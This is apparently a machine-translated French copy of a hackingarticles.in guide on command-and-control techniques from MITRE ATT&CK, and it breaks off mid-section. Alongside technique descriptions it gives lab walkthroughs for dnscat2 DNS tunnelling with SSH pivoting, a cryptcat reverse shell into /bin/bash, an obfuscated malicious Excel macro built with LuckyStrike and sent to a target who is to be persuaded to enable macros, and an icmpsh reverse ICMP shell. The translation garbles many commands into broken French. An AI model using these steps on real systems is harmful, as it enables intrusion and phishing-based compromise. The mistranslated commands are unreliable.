0% ont trouvé ce document utile (0 vote)
114 vues70 pages

Techniques de Commande et Contrôle C2

Transféré par

karim boussakri
Copyright
© © All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PDF, TXT ou lisez en ligne sur Scribd
0% ont trouvé ce document utile (0 vote)
114 vues70 pages

Techniques de Commande et Contrôle C2

Transféré par

karim boussakri
Copyright
© © All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PDF, TXT ou lisez en ligne sur Scribd

Traduit de Anglais vers Français - www.onlinedoctranslator.

com
TABLE DES MATIÈRES

1 Abstrait 3
2 Techniques spécifiées par Mitre ATT&CK 5
2.1 Protocole de la couche application 5
2.2 Communication via des supports amovibles 14
2.3 Codage des données 14
2.4 Obscurcissement des données 20
2.5 Résolution dynamique 28
2.6 Canal crypté 28
2.7 Canal de secours 28
2.8 Transfert d'outils d'entrée 28
2.9 Canaux à plusieurs étages 29
2.10 Protocole de couche non applicative 29
2.11 Port non standard 32
2.12 Tunnellisation du protocole 32
2.13 Procuration 33
2.14 Logiciel d'accès à distance 33
2.15 Signalisation routière 34
2.16 Service Web 34
3 cadres de commandement et de contrôle 36
3.1 Empire 36
3.2 Koadique 50
3.3 DropboxC2 61
3.4 Métasploit 70
4Erreur ! Source de référence non trouvée. 73

Page | 2
www.hackingarticles.in
Abstrait

Commande et contrôle abrégé en «C2" ou "C&C", est une tactique du cadre Mitre ATT&CK qui se compose de
diverses techniques, dans lesquelles chaque technique définit différentes manières d'établir une connexion entre
l'hôte et le centre de commandement et de contrôle. Command and Control est abrégé en "C2" ou "C&C", est une
tactique du framework Mitre ATT&CK qui consiste en diverses techniques, dans lesquelles chaque technique
définit différentes manières d'établir une connexion entre l'hôte et le centre de commande et de contrôle. Ici, les
hôtes sont les agents qui s'exécutent sur une machine exploitée, ce qui entraîne l'injection de commandes pour
récupérer des informations.

www.hackingarticles.in Page | 3
Techniques spécifiées par Mitre ATT&CK

« Mitre ATT&CKlui a donné son numéro de tactique :TA0011”

Protocole de la couche d'application

Le protocole de couche d'application est la septième couche du modèle OSI. La couche d'application est la couche
par laquelle l'utilisateur final interagit. C'est la couche qui fournit des services aux utilisateurs. Les adversaires
peuvent communiquer en utilisant la couche d'application afin de ne pas être détectés par le filtrage réseau. Les
commandes qu'ils souhaitent exécuter sont intégrées au trafic du protocole. Mitre ATT&CK a donné le numéro de
technique du protocole de couche d'application :T1071.

Les techniques qui relèvent du protocole de couche application sont :

- Protocoles Web :
Les protocoles les plus courants pour le trafic Web sont HTTP et HTTPS. HTTP comporte de nombreux champs
et en-têtes dans lesquels les données peuvent être masquées. Un adversaire peut exploiter le trafic afin de
communiquer avec des systèmes sous son contrôle dans le réseau de la victime en restant indétectable.
Comme les données sont masquées dans l'en-tête ou dans son champ, sa requête ressemble à une requête
normale et n'est pas détectée.

- Protocole de transfert de fichiers :

FTP, FTPS et TFTP sont les protocoles les plus courants pour le transfert de fichiers dans l'environnement. Les
paquets produits à l'aide de ces protocoles contiennent divers champs et en-têtes dans lesquels des données
peuvent être masquées. De plus, des données peuvent être masquées à l'intérieur des fichiers en cours de
transfert. Un adversaire peut en abuser et transmettre sa commande intégrée dans ces paquets ou fichiers
sans être détecté.

- Protocole de messagerie :

SMTP, POP3 et IMAP sont les protocoles les plus courants pour l'envoi de courrier. Les paquets produits à l'aide de ces
protocoles peuvent comporter divers champs et en-têtes qui peuvent être utilisés pour dissimuler des données. De plus, les
données peuvent être dissimulées dans le corps même du courrier. Un adversaire peut abuser de ces protocoles pour
dissimuler des données et imiter le trafic normal, et ainsi rester indétectable.

- DNS
Le protocole DNS peut être autorisé avant même que l'authentification réseau ne soit terminée. Son champ et son en-
tête peuvent être utilisés pour dissimuler des données. L'adversaire peut utiliser le tunneling DNS pour abuser du DNS
afin de communiquer avec le système sans être détecté.

Savez-vous??
Les protocoles Web sont utilisés dans APT18,19,33, FTP est utilisé dans APT41, les protocoles de messagerie sont utilisés dans APT28,33,
le protocole DNS est utilisé dans APT39,41

www.hackingarticles.in Page | 5
Introduction à DNScat
DNScat est un outil très apprécié car il peut créer un tunnel de commande et de contrôle sur le protocole DNS qui
permet à un attaquant de travailler en mode furtif. Vous pouvez accéder à toutes les données ainsi qu'au
téléchargement de fichiers et à l'obtention d'un shell. Pour que cet outil fonctionne sur le port 53, vous n'avez pas besoin
d'avoir un accès faisant autorité au serveur DNS, vous pouvez simplement établir votre connexion sur le port 53 et ce
sera plus rapide et il sera toujours détecté comme un trafic normal. Mais sa présence est bien visible dans le journal des
paquets.
DNScat est composé de deux composants : un serveur et un client. Pour connaître le fonctionnement de DNScat,
il est important de comprendre ces deux composants.
Le client est destiné à être exécuté sur une machine cible. Il est écrit en C et présente le moins de
prérequis. Lorsque vous exécutez le client, vous indiquez régulièrement un nom de domaine. Tous les
paquets seront envoyés au serveur DNS local, qui est ensuite dirigé vers le serveur DNS légitime de ce
domaine (dont vous avez apparemment le contrôle).
Le serveur est destiné à être maintenu en fonctionnement sur un serveur DNS définitif. Il est développé en ruby et
repose sur quelques gemmes distinctes. Lorsque vous l'exécutez, tout comme le client, vous indiquez à partir de quel(s)
domaine(s) il écoute sur 53. Lorsqu'il reçoit du trafic pour l'un de ces domaines, il essaie d'établir une association
légitime. S'il reçoit un autre trafic, il l'ignorera automatiquement mais, cependant, il peut également le faire avancer en
amont.

Installation

Exécutez la commande git suivante pour télécharger dnscat2 :

clone git https://github.com/iagox86/dnscat2.git

www.hackingarticles.in Page | 6
Installez maintenant bundler car il s'agit d'une dépendance majeure de dnscat2. Pour installer bundler, accédez au serveur de
dnscat2 et saisissez :

groupeur d'installation de gemmes

installation groupée

Une fois tout terminé, le serveur s'exécutera avec la commande suivante :

www.hackingarticles.in Page | 7
De la même manière, téléchargez également dnscat2 sur la machine cliente. Et utilisez la commande make pour le compiler avec le
serveur, comme indiqué dans l'image ci-dessous :

clone git https://github.com/iagox86/dnscat2.git cd


dnscat2/
cd client/
faire

Pour établir une connexion entre le client et le serveur, utilisez la commande suivante :

. /dnscat --dns=serveur=192.168.0.102,port=53

Vous pouvez également vérifier la création réussie de la session dans Wireshark. Dans un scénario réel, le port 53 joue
un rôle important dans l'obtention d'un shell inversé, car le port 53 est rarement bloqué dans les dispositifs de sécurité
et, de plus, dans les scénarios où un système héberge plusieurs cartes réseau, le trafic des deux cartes transite par un
seul DNS.

www.hackingarticles.in Page | 8
Une fois la connexion établie, vous pouvez voir du côté du serveur que vous aurez une session comme indiqué
dans l'image ci-dessous. Vous pouvez utiliser la commande « sessions » pour vérifier si une session est créée.
Nous pouvons maintenant jouer avec de nombreuses options, toutes disponibles dans la catégorie « aide ».

session
aide

Maintenant, pour interagir avec la session en question, tapez la commande suivante :

session -i

www.hackingarticles.in Page | 9
Nous pouvons maintenant accéder à la session et interagir avec de nombreuses options disponibles. Essayons d'interagir avec le
système Ubuntu à l'aide de la commande :

coquille

Bien sûr, cela créera une nouvelle session 2 et lors de l'interaction avec ladite session, nous aurons un shell
traditionnel.

séances -i 2
nom-un
siconfig

www.hackingarticles.in Page | 10
Tunneling DNS

Il est important de noter ici que le système client dispose clairement de deux cartes réseau installées et que les
plages IP sont différentes dans les deux cas. Ainsi, traditionnellement, un système présent dans la première
plage IP192.168.0.0/24ne pourra pas communiquer avec un système présent dans la deuxième plage IP
192.168.205.0/24
Ici, nous effectuons une reconnaissance et trouvons un autre système sur la plage 192.168.205.0/24 avec l'adresse IP
192.168.205.131 et transférons le port 22 de ce système au port 8888 du client pour créer un tunnel DNS entre les deux
systèmes en utilisant le shell de commande que nous avions obtenu dans les étapes précédentes.

Maintenant, en utilisant notre serveur, nous essayons de nous connecter au système avec l'adresse IP192.168.205.131. Ici, nous connaissons les informations

d'identification du système à l'adresse IP 192.168.205.131, nous nous connectons donc indirectement.

ssh [email protected] -p 8888

Et comme nous pouvons le voir, nous sommes capables de communiquer confortablement avec le système.

www.hackingarticles.in Page | 11
La même chose peut être facilement réalisée pour un client Windows. Suivez le lienicipour télécharger un client
dnscat2 adapté à votre système Windows. Le dernier client dnscat pour Windows est indiqué dans l'instantané ci-
dessous pour référence.

Nous allons effectuer les mêmes étapes que celles que nous avons effectuées initialement sur le client Ubuntu lors de l'exécution de dnscat et

exécuter la commande suivante :

dnscat2-v0.07-client-win32.exe --dns-server=192.168.0.102,port=53

www.hackingarticles.in Page | 12
Et enfin, nous voyons l'état de la session établie dans la fenêtre. Lorsque nous actualisons la console dnscat2 de notre serveur,
nous voyons qu'une nouvelle session est créée. Pour interagir avec elle, nous utilisons la commande :

séance –i 1

En le suivant avec la commande :

coquille

Nous verrons qu'une nouvelle session est maintenant créée comme dans le cas précédent d'un système Linux. Nous interagissons avec
elle à l'aide de la commande suivante :

séances -i 2

Et un tout nouveau shell Windows s’ouvre !

www.hackingarticles.in Page | 13
Communication via des supports amovibles
Les adversaires peuvent cibler des réseaux déconnectés à l'aide de supports amovibles pour le transfert de
commandes d'un système à un autre. Pour que cela réussisse, les deux systèmes doivent d'abord être
compromis, celui qui est déconnecté du réseau. Les commandes et les fichiers seront ensuite transférés du
système déconnecté vers le système connecté à Internet auquel l'adversaire a accès. Mitre ATT&CK lui a attribué
un identifiant technique :T1092.

Codage des données

Les données en texte brut peuvent être facilement détectables, c'est pourquoi les attaquants codent les données pour
rendre le contenu du trafic de commande et de contrôle plus difficile à détecter. Le codage peut être ASCII, Unicode,
Base64, MIME ou une autre méthodologie de codage binaire en texte et en caractères. Mitre ATT&CK lui a donné
l'identifiant technique :T1132.

APT32utilisé l'encodage base64,Porte dérobée AutoIta envoyé une réponse C&C qui était codée en
base64, Eburya codé le trafic C2 au format hexadécimal.

- Codage standard
Les adversaires peuvent utiliser un codage standard pour coder leurs données afin qu'il soit difficile pour le
trafic de contrôle de les détecter. Les informations de commande et de contrôle peuvent être codées à l'aide
d'un codage standard qui respectera les spécifications de protocole existantes. Les codages de données
courants sont ASCII, Unicode, hexadécimal, Base64, MIME.
- Codage non standard
Un codage non standard peut être utilisé par des adversaires de manière à ce que le codage diverge des
spécifications de protocole existantes. Les techniques de codage non standard sont : le codage Base64
modifié, etc.

Savez-vous ??
APT19 était un malware HTTP qui utilisait Base64 pour l'encodage, APT33 utilisait Base64 pour encoder le trafic C2,
Fysbis utilisait Base64 pour encoder le trafic C2, Kessel utilisait l'encodage hexadécimal pour exfiltrer les données,
Bankshot encodait les données à l'aide de diverses techniques d'encodage, RDAT était capable de communiquer avec C2
via un sous-domaine qui utilise l'encodage base64 avec substitution de caractères

www.hackingarticles.in Page | 14
Cryptcat
CryptCat est un outil standard amélioré de NetCat avec cryptage bidirectionnel. C'est l'outil utilitaire Unix le plus
simple, qui lit et écrit des données sur les connexions réseau. Il peut utiliser le protocole TCP ou UDP tout en
cryptant les données transmises sur le réseau. C'est un outil back-end fiable qui est facilement piloté par d'autres
programmes et scripts. Il est considéré comme un outil de débogage et d'exploration réseau. CryptCat peut agir
comme un client ou un serveur TCP/UDP lorsqu'il est connecté ou lorsqu'il agit comme un auditeur du socket. Il
peut prendre un mot de passe et ajouter un sel pour crypter les données envoyées sur les connexions. Sans
fournir de mot de passe spécifié, il prendra le mot de passe par défaut, c'est-à-dire «Metallica".

Nous pouvons explorer son fonctionnement et son utilisation en explorant ses options disponibles.

cryptcat -h

Chat
CryptCat peut être utilisé pour discuter entre deux utilisateurs. Nous devons établir une connexion stable avant le
chat. Pour ce faire, nous avons besoin de deux systèmes parmi ces deux systèmes, l'un sera un auditeur et l'autre
sera un initiateur. Ainsi, la communication peut se faire des deux côtés.

www.hackingarticles.in Page | 15
Ici, nous essayons de créer un scénario de chat entre deux utilisateurs avec des systèmes d'exploitation différents.

Utilisateur 1

Système d'exploitation :Kali Linux

Adresse IP:192.168.0.107
Rôle:Auditeur
Pour lancer l'écouteur dans Kali Linux, suivez cette commande pour créer un écouteur :

cryptcat -l -p 42

Utilisateur 2

Système d'exploitation :Ubuntu

Adresse IP:192.168.0.108
Rôle:Initiateur
Pour créer un initiateur, nous fournirons simplement l'adresse IP du système sur lequel nous avons démarré l'écouteur
suivie de son numéro de port.

cryptcat 192.168.0.107 42

Mode verbeux

Dans CryptCat, le mode verbeux peut être lancé en utilisant le paramètre [-v]. Le mode verbeux est désormais
conçu pour générer des informations étendues à partir de nos actions. Nous allons essayer le mécanisme de chat
ci-dessus avec le mode verbeux. Nous pouvons voir que lorsque nous ajoutons [-v] à la commande CryptCat, il
affiche les informations sur le processus et ses performances lors de la connexion.
Du côté de l'auditeur

cryptcat-lvp

www.hackingarticles.in Page | 16
Du côté de l'initiateur

cryptcat -v 192.168.0.107 42

Coquille inversée

Un shell inversé est un type de shell dans lequel la machine cible communique avec la machine attaquante.
La machine attaquante reçoit la connexion via un port en fournissant un mot de passe. Pour activer
l'écouteur sur la machine cible pour obtenir le shell, utilisez la commande suivante :

cryptcat -k monsecret -l -p 3333 0<monfifo | /bin/bash 1>monfifo

Maintenant, du côté de l'attaquant, il nous suffit de nous connecter à la victime. Ensuite, nous pouvons nous authentifier
en obtenant son accès root ou à l'aide de la commande whoami.

cryptcat -k monsecret 192.168.0.107 3333 qui


suis-je
je suis un

www.hackingarticles.in Page | 17
Comparaison de Netcat et CryptCat

Bien avant de comparer ces deux premiers, nous devons d'abord connaître Netcat ou nc. Il s'agit d'un outil utilitaire qui utilise
une connexion TCP et UDP pour lire et écrire sur un réseau. Il peut être utilisé à la fois à des fins de sécurité et de piratage.

En cas de piratage, il peut être utilisé à l'aide de scripts, ce qui le rend assez fiable. Et si nous devons parler de
sécurité, cela nous aide à déboguer le réseau tout en l'investissant. Si nous voulons apprendre tout le
fonctionnement de Netcat. Nous avons couvert netcat dans notre article précédent et pour lire cet article, cliquez
surici .
Et en ce qui concerne CryptCat, il s'agit d'une version plus avancée de Netcat. Il nous fournit le cryptage
bidirectionnel qui rend notre connexion plus sécurisée. Nous comparons ces deux outils étonnants en nous
basant sur le cryptage de la connexion de la fonction de chat en interceptant leur interface réseau à l'aide
de Wireshark.

Chat réseau :

Comme nous le savons, nous utilisons un écouteur et un initiateur pour démarrer cette connexion pour discuter. Parallèlement
à cela, nous avons initié Wireshark pour intercepter son interface réseau.
Du côté de l'auditeur, nous utilisons le paramètre [-l] pour l'écoute et le paramètre [-p] pour le numéro de port.

nc -l -p 3131

Du côté de l'initiateur, nous devons simplement fournir un numéro de port, ainsi que l'adresse IP des auditeurs.

nc 192.168.0.111 3131

Maintenant, nous devons vérifier si notre Wireshark a pu attraper quelque chose ou non. Comme nous pouvons le voir, nous
avons intercepté avec succès le réseau et nous voyons cette conversation réseau.4

www.hackingarticles.in Page | 18
Cryptcat:

Dans cryptcat, nous savons déjà qu'il nous fournit un cryptage bidirectionnel. Ce qui rend le réseau de
connexion plus sécurisé que Netcat. Mais nous devons également vérifier cela en interceptant ses
conversations à l'aide de Wireshark. Pour cette connexion, nous avions besoin d'un écouteur et d'un
initiateur pour établir une connexion.
Sur le site Listener, nous utiliserons le paramètre [-p] pour le port et [-l] pour lancer l'écouteur.

cryptcat -l -p 3131

Du côté de l'initiateur, nous devons simplement fournir l'adresse IP ainsi que le numéro de port des écouteurs.

cryptcat 192.168.0.111 3131

Vérifions maintenant si nous pouvons acquérir quelque chose ou non. Comme nous pouvons le voir, ce chat est en mode crypté.

C'est la principale différence entre Netcat et Cryptcat. L'un fournit un chiffrement sur son
réseau et l'autre non. Certains diront que CryptCat = chiffrement + Netcat.

www.hackingarticles.in Page | 19
Obscurcissement des données

Le trafic de commande et de contrôle peut être masqué par les adversaires pour le rendre plus difficile à détecter. Le C2
est caché de sorte qu'il devient difficile à découvrir ou à déchiffrer, de sorte que les commandes envoyées ne soient pas
vues. Mitre ATT&CK lui a attribué un identifiant technique :T1001

- Données indésirables :

Les données indésirables peuvent être utilisées par les adversaires pour les rendre plus difficiles à détecter. Comme les
données inutiles seront envoyées, il sera difficile d'analyser le trafic.

- Stéganographie :
La stéganographie est une méthode bien connue qui consiste à cacher des données dans un autre élément. Les adversaires
peuvent cacher leurs données dans les messages numériques qui sont transférés entre les systèmes. Usurpation d'identité
- de protocole :
Les adversaires peuvent se faire passer pour des protocoles légitimes afin de rendre leur détection plus difficile. En se
faisant passer pour eux, ils peuvent se fondre dans le trafic légitime.

Coup de chance

Il utilise l'outil « Invoke-Obfuscation » pour masquer les payloads. Nous l'avons donc téléchargé ainsi que
LuckyStrike depuis GitHub.

www.hackingarticles.in Page | 20
Pour que Invoke Obfuscation fonctionne et soit accessible par LuckyStrike, nous devons déplacer l’outil Invoke
Obfuscation vers le répertoire des modules PowerShell comme indiqué dans l’image ci-dessous.

Maintenant que la configuration initiale de LuckyStrike est terminée, nous devons passer à la phase d'installation. Dans Windows
10, par défaut, il existe une politique appelée Politique d'exécution qui restreint l'utilisateur à exécuter des scripts sur le système.
Nous devons modifier cette politique pour exécuter LuckyStrike. Après avoir modifié la politique d'exécution, nous sommes
passés au répertoire LuckyStrike. Ici, nous voyons que nous avons un script install.ps1. Nous exécutons le script. On nous
demande plusieurs confirmations ; nous répondons Oui à toutes. Après avoir exécuté le script d'installation, nous avons
LuckyStrike dans le système.

cd C:\Users\raj\Desktop\luckystrike-master
Définir-ExecutionPolicy sans restriction
ls
. \install.ps1

www.hackingarticles.in Page | 21
Maintenant, avant de lancer notre LuckyStrike, nous devons disposer d'une charge utile qui générera la session. Nous avons
utilisé un script PowerShell d'une seule ligne pour cela. Enregistrez ce fichier avec l'extension ps1, puis nous passerons à
l'obscurcissement à l'aide de LuckyStrike.

www.hackingarticles.in Page | 22
Maintenant que nous avons notre payload, exécutons LuckyStrike. Dès que nous exécutons LuckyStrike, nous avons une
belle bannière et le menu principal. Dans ce menu, nous avons plusieurs options comme Payload, Catalog, File, etc.
Nous choisissons les options du catalogue en entrant le numéro 2. Cela nous a donné un sous-menu intitulé « Catalog
Options ». Ici, nous avons les configurations qui peuvent être effectuées sur la charge utile et les modèles. Avant d'aller
plus loin, nous devons ajouter la charge utile que nous venons de créer dans le catalogue LuckyStrike. Faites-le en
entrant le numéro 1.

cd .\luckystrike\
. \luckystrike.ps1

www.hackingarticles.in Page | 23
Après la sélection de la charge utile, on nous a demandé le titre de la charge utile. Ensuite, il nous demande l'adresse IP cible et
le port. Ce sont des paramètres facultatifs, nous les avons donc ignorés en appuyant sur Entrée. Dans la description, nous
indiquons « netcat » pour notre référence. Ensuite, nous devons choisir le type de charge utile. Maintenant, nous devons choisir
le type de charge utile. Comme nous avons créé un script PowerShell pour la charge utile, nous choisissons le même. Ensuite,
LuckyStrike nous demande le chemin du fichier de charge utile. Après avoir fait preuve de diligence raisonnable, LuckyStrike
ajoute la charge utile dans son catalogue.

Maintenant, pour continuer, nous devons accéder au menu principal. Cela peut être réalisé en utilisant le numéro 99. Dans le
menu principal, nous devons sélectionner les options de charge utile. Cela peut être réalisé en utilisant le numéro 1. Cela nous
donnera un sous-menu d'options de charge utile. Dans ce menu, nous devons sélectionner la charge utile en utilisant le numéro
1. Après avoir accédé à l'option Sélectionner la charge utile, on nous demande le type de fichier que nous voulons comme sortie.
Nous choisissons le fichier Excel. Cela nous enverra la liste des charges utiles ajoutées. Ici, nous avons la charge utile revshell
que nous avons ajoutée plus tôt.

www.hackingarticles.in Page | 24
Après avoir choisi la charge utile, on nous demande le type d'infection. C'est la méthode que LuckyStrike utilisera
pour obscurcir. Nous choisissons la méthode nonB64. Vous pouvez choisir n'importe quelle méthode de votre
choix selon vos besoins.

www.hackingarticles.in Page | 25
Maintenant que la charge utile est ajoutée, revenons au menu principal pour générer le fichier Excel malveillant final. Dans le
menu principal, nous avons choisi les options de fichier en entrant le numéro 3. Dans le menu Options de fichier, nous avons
choisi l'option Générer le nouveau fichier en entrant le numéro 1. Cela lancera le processus de création d'un fichier Excel avec
une charge utile malveillante à l'intérieur de sa macro. Après avoir créé la charge utile, LuckyStrike nous donne l'emplacement
de la charge utile.

www.hackingarticles.in Page | 26
Nous ouvrons l'emplacement indiqué dans l'Explorateur Windows pour trouver un fichier Excel portant le nom d'infecté.
Nous devons maintenant partager ce fichier avec la cible et l'encourager à ouvrir le fichier et à activer les macros.

Nous allons faire cela sur la machine Kali, nous exécutons l'écouteur avec le port que nous avons mentionné dans
la charge utile lors de sa création. Maintenant, dès que la cible active les macros sur le fichier Excel, nous aurons
sa session PowerShell comme indiqué dans l'image ci-dessous.

nc-lvp 1234

www.hackingarticles.in Page | 27
Résolution dynamique

Les adversaires peuvent établir de manière dynamique une connexion au C2 pour échapper à la détection. Cela peut être réalisé en
utilisant des logiciels malveillants qui partageront certains algorithmes communs à partir desquels l'adversaire peut recevoir des
communications de logiciels malveillants avec le système. Mitre ATT&CK lui a attribué un identifiant technique :T1568.

- DNS Fast Flux


Les adversaires peuvent utiliser le DNS Fast Flux pour cacher des données derrière un ensemble d'adresses IP
à évolution rapide, liées à une résolution de domaine unique. Cette technique utilise un nom de domaine
complet, possédant plusieurs adresses IP qui sont échangées à haute fréquence à l'aide d'un adressage IP
round robin et d'un TTL court.
- Algorithme de génération de domaine
Les adversaires peuvent utiliser l'algorithme de génération de domaine pour identifier dynamiquement la destination
plutôt que de s'appuyer sur les adresses IP. Cela rend difficile pour le défenseur de bloquer ou de tracer les canaux
C2.
- Calcul DNS
Les adversaires effectuent des calculs sur les adresses renvoyées dans les résultats DNS pour déterminer quel port et
quelle adresse IP doivent être utilisés pour C2.

Chaîne cryptée
Les adversaires peuvent utiliser des algorithmes de chiffrement pour chiffrer le trafic C2 au lieu de s'appuyer sur la protection inhérente
offerte par le protocole de communication. Mitre ATT&CK lui a attribué l'identifiant technique suivant :T1573.

- Cryptographie symétrique
L'algorithme de cryptographie symétrique utilise la même clé pour le chiffrement et le déchiffrement des données.
Les algorithmes de chiffrement symétrique courants sont AES, DES, 3DES, Blowfish et RC4. Cryptographie
- asymétrique
Cette méthode utilise une clé publique-privée pour le chiffrement et le déchiffrement. C2 est chiffré à l'aide de la clé
publique et ne peut être déchiffré qu'à l'aide de la clé privée.

Canal de secours
Les adversaires peuvent utiliser un canal alternatif ou un canal de secours si le canal principal est compromis afin que la
connexion au commandement et au contrôle ne soit pas altérée et qu'il n'y ait pas de seuil de transfert de données. Mitre
ATT&CK lui a attribué l'identifiant technique suivant :T1008.

Transfert d'outils d'entrée

Les adversaires peuvent transférer des outils ou des fichiers d'un système externe vers un environnement compromis. Les
fichiers ou les outils peuvent être copiés ou envoyés à l'aide de protocoles tels que FTP. Pour Linux et Mac, les fichiers peuvent
être transférés à l'aide de leurs outils tels que scp, rsync et sftp. Mitre ATT&CK lui a attribué un identifiant technique : T1105.

www.hackingarticles.in Page | 28
Canaux à plusieurs étages

Les adversaires peuvent créer plusieurs étapes pour le C2, qui sont utilisées dans différentes conditions ou pour
certaines fonctions. L'utilisation de plusieurs étapes peut brouiller le canal C2 et le rendre difficile à détecter.

Protocole de couche non applicative

Les adversaires peuvent également utiliser un protocole de couche non applicative pour la communication entre l'hôte et le serveur C2. Il
existe de nombreux protocoles qui fonctionnent dans la couche non applicative. Parmi ces protocoles, on peut citer ICMP, UDP, les
protocoles de couche de session comme SOCKS, Serial over LAN (SOL). Mitre ATT&CH lui a attribué l'identifiant technique suivant :T1095.

ICMPsh
icmpshest un simple shell ICMP inversé avec un esclave win32 et un maître compatible POSIX en C, Perl ou
Python. Le principal avantage par rapport aux autres outils open source similaires est qu'il ne nécessite pas de
privilèges administratifs pour s'exécuter sur la machine cible.
L'outil est propre, simple et portable. L'esclave (client) s'exécute sur la machine Windows cible, il est écrit en C et
fonctionne uniquement sous Windows tandis que le maître (serveur) peut s'exécuter sur n'importe quelle plate-
forme sur la machine attaquante car il a été implémenté en C et Perl par Nico Leidecker et plus tard, il est
également porté en Python.
Il est très facile à installer et à utiliser comme canal c2. Transformez la machine de l'attaquant en icmpsh et téléchargez icmpsh
depuis Github.

clone git https://github.com/inquisb/icmpsh.git

www.hackingarticles.in Page | 29
Exécutez icmpsh en tant que maître (Kali Linux)

Une fois les téléchargements terminés, vous pouvez utiliser la commande suivante pour exécuter le master.
L'étape la plus importante avant d'agir est de désactiver la réponse ping sur votre machine. Cela empêche le
noyau de répondre lui-même aux paquets ping.

sysctl -w net.ipv4.icmp_echo_ignore_all=1

cd icmpsh

syntaxe : ./icmpsh_m.py <IP de l'attaquant> <IP de la cible>

Exécuter icmpsh en tant qu'esclave (Windows 10)

Maintenant, installez à nouveau l'outil icmpsh à l'intérieur de la machine hôte pour l'exécuter en tant qu'esclave et l'utilisateur
exécutant l'esclave sur le système cible n'a pas besoin de privilèges administratifs.
Et puis exécutez la commande suivante :

syntaxe : icmpsh.exe -t <IP Kali>

icmpsh.exe -t 192.168.1.108

www.hackingarticles.in Page | 30
Une fois la commande ci-dessus exécutée sur la machine hôte, l'intrusion aura un shell inversé de la machine
fonctionnant en tant qu'esclave. Vous pouvez observer à partir de l'image ci-dessous que la machine contrôle la
machine esclave en générant son invite de commande.

Comme nous l'avons dit, avec l'aide de ping, icmpsh obtiendra le reverse shell de la machine hôte via le canal icmp. Par
conséquent, je déclenche simplement une commande et j'utilise Wireshark pour capturer son paquet afin de garantir le
processus backend.

www.hackingarticles.in Page | 31
Génial ! Cela fonctionne exactement comme nous l'avions supposé et les données sont transmises via la couche réseau à l'aide
de paquets de requête/réponse PING, aucun service ou port n'est donc requis. Le trafic n'est pas détecté par les pare-feu basés
sur un proxy et cela peut contourner les règles du pare-feu.

Port non standard


Les adversaires peuvent communiquer via un protocole et un appariement de port qui ne sont pas associés. Par
exemple, HTTPS sur le port 8088. Les adversaires peuvent modifier le port standard utilisé par un protocole pour
contourner le filtrage ou brouiller l'analyse des données réseau. Mitre ATT&CK lui a attribué l'identifiant technique
suivant : T1571.

Tunnellisation de protocole

Les adversaires peuvent créer un tunnel de communication réseau entre eux et la victime en utilisant le tunneling de
protocole pour éviter d'être détectés. Dans le tunneling, un protocole est tunnelé vers un autre protocole. Le tunneling
pourrait également permettre le routage de paquets réseau qui n'atteindraient pas leur destination prévue, comme le
trafic SMB, RDP ou autre qui serait filtré par les appareils réseau ou non acheminé sur Internet. Mitre ATT&CK lui a
attribué l'identifiant technique suivant :T1572.

www.hackingarticles.in Page | 32
Procuration

Les adversaires peuvent utiliser un proxy pour diriger le trafic entre les systèmes ou pour lire toutes les requêtes
envoyées par la victime. Les outils pouvant être utilisés pour rediriger via des proxys sont : HTRAN, ZXProxy et
ZXPortMap. Les adversaires utilisent ces types de proxys pour gérer les communications de commande et de contrôle,
réduire le nombre de connexions réseau sortantes simultanées, assurer la résilience en cas de perte de connexion ou
pour emprunter les chemins de communication de confiance existants entre les victimes afin d'éviter toute suspicion.
Mitre ATT&CK lui a attribué l'identifiant technique :T1090.

- Proxy interne
Les adversaires utilisent des proxys internes pour gérer les communications de commande et de contrôle au
sein d'un environnement compromis, pour réduire le nombre de connexions réseau sortantes simultanées,
pour assurer la résilience en cas de perte de connexion ou pour contourner les chemins de communication
fiables existants entre les systèmes infectés afin d'éviter toute suspicion. Les connexions proxy internes
peuvent utiliser des protocoles réseau peer-to-peer (p2p) courants, tels que SMB, pour mieux s'intégrer à
l'environnement.
- Proxy externe
Les adversaires utilisent ces types de proxys pour gérer les communications de commandement et de
contrôle, pour assurer la résilience en cas de perte de connexion ou pour contourner les chemins de
communication fiables existants afin d'éviter toute suspicion.
- Proxy multi-sauts
Pour masquer la source du trafic malveillant, les adversaires peuvent enchaîner plusieurs proxys. En règle
générale, un défenseur sera en mesure d'identifier le dernier trafic proxy traversé avant qu'il n'entre dans son
réseau ; le défenseur peut ou non être en mesure d'identifier les proxys précédents avant le proxy du dernier
saut. Cette technique rend l'identification de la source d'origine du trafic malveillant encore plus difficile en
obligeant le défenseur à suivre le trafic malveillant à travers plusieurs proxys pour identifier sa source.

- Front de domaine
Les adversaires peuvent utiliser des schémas de routage dans les réseaux de diffusion de contenu (CDN) et d'autres
services qui hébergent plusieurs domaines pour masquer la destination par défaut du trafic. Si les deux domaines
sont servis à partir du même CDN, le CDN peut alors acheminer le trafic vers l'adresse spécifiée dans l'en-tête HTTP
après avoir déballé l'en-tête TLS.

Logiciel d'accès à distance


L'adversaire peut utiliser le support de bureau comme Team Viewer, LogMein, etc., pour établir un canal C2 interactif
pour cibler les systèmes avec le réseau. Mitre ATT&CK lui a donné l'identifiant technique :T1219.

www.hackingarticles.in Page | 33
Signalisation routière

Les adversaires peuvent utiliser la signalisation de trafic pour masquer les ports ouverts ou toute fonctionnalité malveillante
pour la persistance du C2C. En général, cette série de paquets se compose de tentatives de connexion à une séquence
prédéfinie de ports fermés, mais peut impliquer des indicateurs inhabituels, des chaînes spécifiques ou d'autres caractéristiques
uniques. Mitre ATT&CK lui a attribué l'identifiant technique suivant :T1205.

- Port à frapper :
Les adversaires peuvent utiliser le port knocking pour masquer les ports ouverts utilisés pour la persistance ou le
commandement et le contrôle. Pour activer un port, un adversaire envoie une série de tentatives de connexion à une
séquence prédéfinie de ports fermés.

Service Web
Les adversaires peuvent utiliser un service Web externe existant et légitime comme moyen de relayer des données depuis et vers un
système compromis. Mitre ATT&CK lui a attribué l'identifiant technique suivant :T1102.

- Résolveur de chutes mortes

Les pirates peuvent publier du contenu, connu sous le nom de « dead drop resolver », sur des services Web
avec des domaines ou des adresses IP intégrés (et souvent obscurcis/codés). Une fois infectées, les victimes
